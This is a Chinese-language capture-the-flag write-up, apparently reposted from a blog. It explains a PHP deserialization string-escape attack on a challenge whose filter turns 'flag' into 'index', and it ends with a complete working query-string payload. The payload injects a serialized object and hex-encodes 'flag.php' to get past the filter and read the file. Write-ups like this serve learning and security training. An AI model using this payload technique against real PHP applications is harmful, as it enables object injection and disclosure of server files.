what_we_can_do.

本文阅读 6 分钟
首页 代码,C/C#/C++ 正文

1.序言

a:1:{i:0;s:3:"123";}

array (size=1)
  0 => string '123' (length=3)
a:1:{i:0;s:3:"123";}????

array (size=1)
  0 => string '123' (length=3)
a:1:{i:0;s:3:"123";}";}

array (size=1)
  0 => string '123' (length=3)

2.what_we_can_do.

第一步:审计代码

<?php
error_reporting(255);                            //列出所有提示

class A{                                        //类:A
    public $filename = __FILE__;                //公有属性:$filename
    public function __destruct(){                //析构方法:所在类的实例化对象销毁前,自动被调用
        highlight_file($this->filename);        //高亮显示以$filename值为名的文件的源码
    }
}
//很明显:这里需要A类的对象,且$filename=flag.php

function waf($s){                                //函数:waf;参数:$s
    return preg_replace('/flag/i','index',$s);    //正则匹配,把参数$s内的flag不论大小写都替换成index
}
//很明显:这里的flag替换成了index,关键词边长,反序列化前可字符逃逸


if(isset($_REQUEST['x']) && is_string($_REQUEST['x'])){        //判断是否提提交了参数x,且值的类型为字符串
    $a = [
        0 => $_REQUEST['x'],                                //把参数x的值传入$a数组的键0中
        1 => "1"
    ];
    @unserialize(waf(serialize($a)));                        //先序列化数组$a,然后过滤,然后反序列化    
}else{
    new A();
}
<!--flag.php-->                                    //提示:flag.php

第二步:编写代码,生成payload

<?php
class A{                                        //类:A
    public $filename = __FILE__;                //公有属性:$filename
    public function __destruct(){                //析构方法:所在类的实例化对象销毁前,自动被调用
        highlight_file($this->filename);        //高亮显示以$filename值为名的文件的源码
    }
}

#1.这里,先测试过滤函数
function waf($s){                                //函数:waf;参数:$s
    return preg_replace('/flag/i','index',$s);    //正则匹配,把参数$s内的flag不论大小写都替换成index
}
$a = [
    0 => "flag",
    1 => "1"
];
$chen = serialize($a);
echo $chen."<br />";
//a:2:{i:0;s:4:"flag";i:1;s:1:"1";}
$chen = waf($chen);
echo $chen."<br />";
//a:2:{i:0;s:4:"index";i:1;s:1:"1";}

#2.分析结果
//a:2:{i:0;s:4:"flag";i:1;s:1:"1";}
//a:2:{i:0;s:4:"index";i:1;s:1:"1";}
//这里发现,字符从4个字符的flag,变成了5个字符的index;
//但是这个是先序列化,后过滤。序列化已成定局,字符长度的标识已经是4了【s:4:"index"】,那么实际长度变成了5个,反序列化就会出错
//如何解决这个问题呢?
//假设:传入400个字符长度的flag,那么同理会出现500个字符长度的index,这时候如果想要一开始序列化的时候,其标识就是s:500,就需要使用手工闭合
//手工闭合:400长度的flag+2长度";的手工闭合+97长度的填充+1长度的}绕过第二个键值对的序列化=500个index
//那么这里的97个填充,就是我们逃逸出来的,假如我们这97个字符,本身就是一对键值对的序列化内容,那么就可以占用第二个键值对的位置,前提是使用了}抛弃原本第二个键值对的序列化字符串
//所以,关键在于,我们想填入什么自定义的键值对序列化内容呢?也就是这97个字符,写成什么样子?
//那么构造的第二个键值对的值肯定是A类的实例化对象,且filename属性等于flag.php,但是仍然会过滤flag,怎么办呢?由于这里的序列化可控,所以我们可以把s转为S,从而可辨识16进制,即可绕过正则匹配
//构造的第二个键值对的键,就随便咯,可以保留之前的名字

#3.构造自定义个键值对序列化的值的序列化,占用第二个键值对的值
$chen = new A();
$chen->filename = "flag.php";
$chen = serialize($chen);
echo $chen."<br />";
//O:1:"A":1:{s:8:"filename";s:8:"flag.php";}
$chen = str_replace('s:8:"flag.php"','S:8:"\66\6C\61\67\2E\70\68\70"',$chen);       #绕过过滤
echo $chen."<br />";
//O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}
//闭合前面:
//";O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}
//抛弃后面:
//";O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}
//计算长度:";O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}
echo strlen('";O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}')."<br />";
//61

#4.进行拼接,这里我们的键可以随便写,这里就保留原本的第二个键值对的键名字吧
//a:2:{i:0;s:4:"flag";i:1;s:1:"1";}
//";O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}
//";i:1;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}
//长度65


//因此payload:
//?x=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}

//总结:
//两个连续的键值对
//只有第一个键值对的值可控,且关键词会在序列化后过滤变长1个长度
//第二个键值对,不可控,那么我们可以办法让其抛弃掉
//那么,我们可以传入足够长度的字符的关键词,比如400长度flag+2长度的闭合+97长度的构造+1个长度的}过滤第二个键值对
//那么经过过滤,会导致500长度的index,被认为是第一个键值对的值,那么剩下的97个长度的构造是此时的第二个键值对的序列化字符串
//这逃逸的97个序列化字符,是一个键值对,其中的值至关重要,键名无所谓啦
//这里构造的序列化是可控的,是占用第二个键值对的位置的,为了获取flag,肯定要是等于类A的对象,且属性位flag.php,为了绕过waf()过滤,可以转成S,让其认识十六进制的字符串
//总之:只有第一个键值对的值可控,向这个值内传入一定长度的flag关键词+";闭合+自定义序列化后的键值对+}抛弃原有的第二个键值对的序列化字符

payload:

?x=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109827901
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复